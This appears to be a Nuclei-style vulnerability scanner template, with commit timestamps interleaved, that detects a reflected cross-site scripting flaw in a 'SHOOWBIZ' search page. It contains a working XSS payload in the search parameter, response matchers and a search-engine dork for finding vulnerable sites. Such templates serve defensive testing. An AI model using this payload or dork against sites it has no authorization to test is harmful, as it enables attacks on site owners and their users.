2023-10-17 07:20:28 +00:00
id : shoowbiz-xss
info :
2023-10-17 08:16:05 +00:00
name : SHOOWBIZ - Cross Site Scripting
2023-10-17 07:20:28 +00:00
author : r3Y3r53
severity : medium
description : |
2023-10-17 08:16:05 +00:00
Cross-Site Scripting, is a type of security vulnerability commonly found in web applications. It occurs when an attacker injects malicious scripts (typically written in JavaScript) into web pages viewed by other users.
2023-10-17 07:20:28 +00:00
reference :
- https://www.exploitalert.com/view-details.html?id=36000
metadata :
max-request : 1
verified : true
google-drok : inurl:"search.php?q="
tags : shoowbiz,xss
http :
- method : GET
path :
- "{{BaseURL}}/search.php?q=%3CScRipT%3Ealert(document.domain);%3C/ScRipT%3E"
matchers :
- type : dsl
dsl :
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "<ScRipT>alert(document.domain);</ScRipT>")'
- 'contains(body, "Search result in")'
condition : and
